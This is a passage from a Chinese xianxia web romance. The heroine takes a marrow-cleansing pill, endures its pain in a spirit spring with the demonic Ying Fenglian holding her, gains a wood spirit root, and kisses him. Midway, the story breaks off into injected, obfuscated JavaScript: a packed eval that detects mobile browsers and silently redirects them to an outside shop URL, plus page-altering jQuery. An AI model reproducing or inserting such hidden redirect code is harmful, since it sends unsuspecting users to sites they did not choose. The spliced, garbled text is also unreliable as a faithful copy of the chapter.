她慌忙咽了咽口水,解释道:“刚才银蟠跑出来了,我一路跟着它走到这里,没想到你会在这……” 应逢怜神色微沉:“银蟠……近日是过于顽劣,该被教训了。” 颜悬昭这才后知后觉,自己恐怕闯入了什么不该来的地方。 完了,该不会要被灭口吧? 求生欲瞬间上线,她手忙脚乱地找补:“我不是故意的!我这就走,不打扰你了!” 她想转身退开,却发觉腰间被他一只手松松环着,并未松开,让她动弹不得。 “那个……你能先放开我吗?”她小声问。 应逢怜似乎才意识到两人之间只隔着一层湿透的薄衫,几乎肌肤相贴。 他倏地收手,动作快得像是被烫到。 颜悬昭脸颊滚烫,说话都有些磕绊:“我,我先出去了……” 她转身想逃,袖口却被人轻轻拉住。 “既然已经来了,”他的声音从身后传来,“便留下吧。” 46. 脱胎换骨 颜悬昭心跳漏了一拍——这是好感度达到了某个阶段,要给她看特殊CG了? 念头一起,某些不合时宜的画面便不受控制地在她脑海里闪过。 “你怎么流鼻血了?”应逢怜的声音骤然响起,惊得她猛地回神。 她一摸鼻子,指尖上沾染了一抹红。 她居然……居然对着应逢怜想入非非到流鼻血?做人怎么可以这么丢脸! 颜悬昭一时僵住,面上呆呆的,内心却已翻江倒海,恨不能当场掘地三尺把自己埋了。 应逢怜眉心微蹙,拉着她衣袖的手改而扣住她手腕。他的指尖在她的脉搏上停留片刻,沉吟道:“……补过头了。往后的药膳要换些更温和的。” 颜悬昭暗自松了口气——原来是补品吃多了。还好不是因为她是什么色中饿魔,光想美男都能把自己想得血脉贲张。 “不过也好,”应逢怜话锋一转,“你现在的身体状况正好适合洗髓伐筋。” “哦哦。”颜悬昭下意识点头附和他的话,却在下一秒猛地反应过来,“什么?洗髓伐筋?!” 应逢怜打了个响指,温泉池上霎时间弥漫起大片的白雾。 白雾比先前浓烈数倍,颜悬昭挥了挥手,眼前却依旧白茫茫一片。 正茫然间,应逢怜的身影重新显现,他身上多了一件素白外袍,手中正托着一个雕工精致的檀木盒子。打开盒盖,里面衬着柔软的绸缎,正中端放着一颗龙眼大小的丹药。 药丸莹白润泽,表面隐隐流转着一层淡紫色的光晕。 颜悬昭在他示意下接过了丹药,好奇地打量着。 “把它吃下去,它……”应逢怜话还没说完,就看见颜悬昭毫不犹豫地将药丸送入口中。 颜悬昭本还担心这么大的药丸该如何吞服,结果药丸入嘴即化,化作一股清流消失在她的喉间。她正品着那点余味,就对上了应逢怜略显无语的眼神。 “……旁人给的东西,你也敢这般轻易吞服?”他的语气里带着些许难以言喻的无奈,“就不怕是毒药?” “你又不是旁人。”颜悬昭想也没想,话语脱口而出,“你若想杀我,何必绕这么大圈子。” 这过于直白的信赖让应逢怜一时语塞。他移开视线,继续解释道:“此乃洗髓丹,可助你洗涤经脉,重塑灵根。” 洗髓丹!衡遂与冯念之口中万金难求、足以为凡人逆天改命的仙丹!应逢怜竟如此轻易地给了她? 颜悬昭来不及思考应逢怜的用意,一股蒸腾的热意便由丹田之处升起,迅猛如同燎原野火,沿着经脉流向四肢百骸。 起初,只是温热的暖流,而后越演越烈,如同有烈火灼烧着她的全身。她感觉自己像被架上火堆的叶子,脉络在火舌的舔舐下迅速地干枯、蜷缩。她甚至能听到体内传来经脉崩断的脆响。 排山倒海而来的疼痛让她维持不住身形,几乎要栽倒水中。一双手臂及时从身后环住了她,坚实的胸膛抵住她的后背,成了她唯一可以倚靠的支撑。 颜悬昭视野阵阵发黑,破碎的痛吟难以自制地逸出。 应逢怜的声音在耳畔响起,难得轻柔,带着安抚:“忍一忍。丹药会先灼尽你原本淤塞的经脉,再为你重塑拓宽。泉底设下了聚灵阵,灵气不绝,泉水亦有疗愈之效,可修复损伤。” 她这才感受到灵泉的温度不知何时降低了,化为了一股清凉的力量缓缓浸润着她的周身,如甘露般安抚着她焦灼的经脉,让剧痛变得可以承受。 一边摧毁,一边重塑。冰火两重天之中,她已无暇他顾,只能死死抓住横在身前的那条手臂,指尖因用力而深深陷入他的皮肉。 应逢怜始终稳稳地站在她身后,半搂着她,承托着她全部的重量。 看着她痛苦不堪的模样,他突然冒出一个念头:何必让她受这份苦呢?反正,她只要一直待在他的身边,他自有办法让她安稳一生,不受到任何伤害。 这个念头迫使着他鬼使神差地问出:“要停下吗?” 颜悬昭意识混沌着,第一次没有听清,只是迷蒙地看着他。 应逢怜重复了第二次,她才听清。出乎意料的是,这个素日怕疼又惜命的人,竟咬着牙,极为缓慢却坚定地摇了摇头:“不……我能坚持。” 她断断续续地用气音挤出字句:“我会、变强些……不拖累你……”说完,便像是耗尽了所有力气,连呼吸都微弱下去。 应逢怜垂眸看着怀中冷汗涔涔、面色惨白的人,心想:真笨……他麾下能人异士无数,何须她来拼命?若是聪明点,合该知道要挟恩图报,索要些金银法宝、权势地位才对。 她就像是认死理的小动物,不管推开多少次,都会傻乎乎地跟着回来。与他为伍,注定是步履维艰,举世皆敌……即便如此也要选择在他身边吗? 还是说……颜悬昭,你有更大的图谋? 应逢怜将怀里颤抖不止的人更紧地揽入怀中,下巴轻轻抵着她的发顶,以一种近乎禁锢的姿势将她完全笼罩,低低的叹息融在水汽里:“颜悬昭,我给过你离开的机会了。” ——— 颜悬昭不知现实中过去了多久,或许是几个时辰,或许是好几日。总之,洗髓的过程漫长如凌迟,每一刻对她来说都是度秒如年。 当那焚身蚀骨般的痛楚如潮水般缓缓退去,一种难以言喻的轻盈感便随之升起。仿佛蒙蔽感官的厚重纱帘被骤然拂去,整个世界在她面前豁然清晰。 不必走出洞穴,她也能“感知”到百米外枝头雀鸟的轻微振翅。原本寻常的岩壁此刻纤毫毕现,连最隐蔽的裂隙都无所遁形,空气中游离的点点灵光更是清晰可见。 应逢怜适时松开了怀抱。 “应逢怜!”颜悬昭猛地从水中站起,声音里带着前所未有的雀跃,“我觉得我现在浑身是劲!” “把手伸过来。”应逢怜说道。 颜悬昭依言伸出手。他握住她的手腕,一缕极细的灵力探入,游走片刻后撤回。 他的唇边露出一抹幽微的笑意:“恭喜,你现在是木灵根了。” “真的?!”颜悬昭难以置信地收回手,“那我以后修炼……” “单灵根修行,本就事半功倍。往后研习术法,天资不会再是你的阻碍。”他颔首。 “谢谢……”她感激的话刚开了个头,洞窟顶上,毫无征兆地传来一声沉闷的雷鸣,轰隆作响,震得泉水都泛起涟漪。 应逢怜上前扶住她的双肩:“不必紧张,这是你筑基的雷劫,我已经设了结界,你往里注入少许的灵力即可。” 说着,他牵着她的手,引导她将灵力缓缓渡入周遭无形的屏障之中。 雷劫足足持续了一个时辰,道道刺目闪电劈在结界之上,又被稳稳化解。 颜悬昭紧盯着外头,直到最后一缕雷光消散,乌云散去,露出澄澈碧空,她才长舒了口气,紧绷的肩膀松弛下来。 她转身,对着一直陪伴在身后的人展露笑颜,诚挚地说完了那句未尽的感谢:“应逢怜,谢谢你。感谢你给了我新生。” 应逢怜像是被她的笑容烫到般,垂下眼眸,往后退开了两步,倚在了温泉池边,与她拉开了距离。 他指尖无意识地轻捻了一下,上面似乎还残存着她肌肤的热意,口中的话语却是云淡风轻:“这没什么,就当是你帮我的回报了。” 颜悬昭知道他一向如此,做了十分,也只肯认一分。洗髓丹与这聚灵阵,所耗心血资源绝非寻常,他却愿意用在她身上,这份心意已足够她铭记。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16906972|183016||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“无论如何,我真心感激你。”她向他走近了一步。 “你救了我两次。”应逢怜看着她,清晰地说道,“此番洗髓,算是抵了第一次。我还欠你一次。你可以向我提一个要求,或是一个愿望,只要在我能力之内,我会兑现。” 说完,他凝视着她的面容,试图捕捉她一切细微的神情。会欣喜若狂吗?会流露出贪欲吗?会……终于显露出真实目的吗? 他甚至有些矛盾地想,若真是欺骗,不如早些揭穿。 颜悬昭闻言,偏头认真想了想。然后,她忽然朝他靠近,微微倾身。 应逢怜以为她有隐秘之言要说,略略侧耳俯身。距离很近,近到他耳畔能感受到她轻浅的呼吸。然而,预料中的低语并未到来。 取而代之的,是脸颊侧倏然落下的一抹温软。 这个吻轻柔得不可思议,如蜻蜓点水,一触即离。唯有残留的陌生触感,提醒着他方才发生的一切并非幻觉。 应逢怜脑中“嗡”地一声,仿佛有什么东西骤然绷断,思绪有刹那的空白。 胆大包天……何其胆大包天! 面前的罪魁祸首却浑然不觉自己引起了怎样的惊涛骇浪,脸颊微红着,眼睛亮得惊人,还带着点强作镇定的狡黠:“你说了,随便什么愿望都可以。这……就是我的愿望了。” 此话一出,让应逢怜想要恼火都不知道从何发作。 “不是让你这般胡闹的!”他最终拂袖,丢下这么一句,便消失在氤氲水汽中,独留颜悬昭在汤泉之内。 【宿主,我真是小看你了。短短几日,你的撩汉技术已经精进至此。】系统幽幽的感慨响起。 颜悬昭摊开一直紧攥的手心,里面已是湿漉漉一片。她面上虽撑着,心里实则七上八下,拿不准应逢怜会作何反应。 “其实我没想着亲他的……”颜悬昭搓了搓自己还在发烫的脸颊。 她本只是想凑近些,说句“愿望是能一直跟随着你”之类的便宜话,稍作撩拨。可当他当真微微俯身,侧耳倾听,那专注的模样显得格外好亲,色心的驱使让她一下子脑袋发昏地亲了上去。 亲完她自己都懵了。她居然真的成功偷亲到了魔头?而魔头居然没当场把她拍成飞灰? 祖宗保佑,真是祖宗保佑。 “这下完了,这个小气鬼又该扣我好感度了。”颜悬昭哀叹了一声。 【恰恰相反,】系统的声音带着点微妙的停顿,【刚才波动了一阵,现在……好像还涨了三点。】 “咦?”颜悬昭愣住了,“可我看他好像很生气?” 正疑惑间,不知躲去哪儿的银蟠悄无声息地滑过水面,灵巧地攀上她的肩头,用冰凉的鼻吻蹭了蹭她的脸颊。 颜悬昭习惯性地摸了摸它的小脑袋,叹道:“银蟠啊,你主人要是像你这样心思简单就好了。总是口是心非的,让人猜得好累。” “走吧,我们也该出去了。”她说着,便想上岸,这才后知后觉地意识到自己浑身湿透,衣物紧贴在身上,根本没法见人。 “糟了,我还不会弄干衣服的法术!”她顿时傻眼,早知如此,刚才就该厚着脸皮让应逢怜教了再放他走。 肩上的银蟠却“咝咝”两声,用尾巴尖轻轻指向池畔。 颜悬昭循着望去,只见岸边光洁的石台上,整整齐齐地叠放着一套衣裙。她走过去拿起细看,颜色是她平日喜欢的水红色,尺寸大小也正好合适。 他方才那般恼怒地拂袖而去,竟也不忘给她留下一套干净的衣裙。 银蟠看着颜悬昭捧着衣服,忽然不明所以地傻乐了起来。 它不解地歪了歪头。 真是不理解人类的情感呢。一个欢喜却偏要恼怒,一个得了件衣裳便乐不可支。